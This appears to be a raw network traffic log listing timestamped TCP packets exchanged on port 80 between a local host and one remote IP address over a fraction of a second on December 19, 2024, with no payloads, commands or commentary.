Dec 19, 2024 08:21:28.939472914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.939513922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.939603090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.940453053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.940466881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.940722942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.941020966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.941063881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.941307068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.941797972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.941870928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.941945076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.942729950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.942744017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.942811012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.943438053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.943522930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.943536997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.944313049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.944349051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.944482088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.944983959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.945024967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.945034027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.945847034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.945923090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.946062088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.946553946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.946644068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.946705103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.947359085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.947444916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.947447062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.948148966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.948230028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.948277950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.948951006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.949105978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.949125051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.949703932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.949809074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.949812889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.950499058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.950614929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.950835943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.951296091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.951347113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.951399088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.952172041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.952256918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.952282906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.952939034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.953062057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.953783989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.953823090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.953823090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.953932047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.954463005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.954516888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.954591036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.955256939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.955332041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.955387115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.956047058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.956141949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.956208944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.956850052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.956911087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.956984043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.957676888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.957734108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.957793951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.958393097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.958487034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.958518982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.959201097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.959337950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.959347963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.959992886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.960134029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.960803032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.960848093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.960848093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.960912943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.961560011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.962753057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.028601885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.028692007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.028924942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.029020071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.029061079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.029061079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.029758930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.029869080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.030474901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.030484915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.038466930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.038537979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.038568020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.038798094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.038888931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.038902044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.039639950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.039808035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.040086031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.040348053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.041426897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.072698116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.072762012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.072813988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.073008060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.073123932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.073221922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.073820114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.073885918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.073966980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.074623108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.074717045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.074940920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.075443983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.075541019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.075608969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.076176882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.076291084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.076417923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.077004910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.077024937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.077124119 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.087383032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.087470055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.087598085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.087687969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.087826967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.088151932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.088498116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.088596106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.088692904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.089251041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.089359045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.089409113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.090092897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.090209007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.090260983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.091372967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.091525078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.091579914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.092557907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.092700005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.092839003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.128041029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.128053904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.128128052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.128149033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.128185987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.128185987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.128947973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.129025936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.129703999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.129796982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.129837036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.129837036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.130461931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.130557060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.131129026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.131320000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.131428957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.132114887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.132175922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.132216930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.132216930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.132863998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.133023024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.133646965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.133740902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.133780956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.133780956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.134442091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.134546041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.135134935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.135288000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.135349035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.136018038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.136141062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.136173010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.136173010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.136842966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.137001038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.137620926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.137741089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.137779951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.137779951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.138498068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.138605118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.139128923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.139343977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.139434099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.139926910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.140023947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.140161037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.140827894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.140868902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.141100883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.141693115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.141696930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.141803980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.141892910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.142415047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.142514944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.142961025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.143352985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.143444061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.144026995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.144292116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.144364119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.144438982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.144841909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.144994020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.145095110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.145514011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.145711899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.146172047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.146467924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.146568060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.147135019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.147145033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.147213936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.147341013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.147989988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.148083925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.148143053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.148721933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.148905993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.149122000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.149473906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.149588108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.149651051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.150243044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.150396109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.150451899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.151057959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.151165962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.151264906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.151810884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.151933908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.152322054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.152600050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.152739048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.153002977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.153439999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.153477907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.153626919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.220648050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.220752001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.220884085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.221081972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.221139908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.221271038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.221864939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.221970081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.222129107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.222640991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.230623007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.230731964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.230755091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.230997086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.231122017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.231168032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.231851101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.231915951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.231978893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.232537985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.232673883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.264929056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.264955044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.265125990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.265258074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.265357018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.265409946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.266024113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.266340971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.266434908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.266463995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.267095089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.267224073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.267254114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.267894983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.267992973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.268028975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.268688917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.268774033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.268812895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.269462109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.269695044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.279751062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.279937029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.280102015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.280227900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.280282021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.280282974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.280548096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.280682087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.281311989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.281354904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.281477928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.282119036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.282239914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.282279015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.282279015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.282932043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.283051014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.283142090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.283973932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.284076929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.284440041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.320213079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.320226908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.320548058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.320630074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.320673943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.320673943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.321096897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.321168900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.321896076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.322019100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.322098970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.322099924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.322700024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.322824955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.323134899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.323508024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.323621035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.323810101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.324302912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.324405909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.324628115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.325078011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.325172901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.325310946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.325871944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.325984955 CET	80	49720	194.87.47.113	192.168.2.10
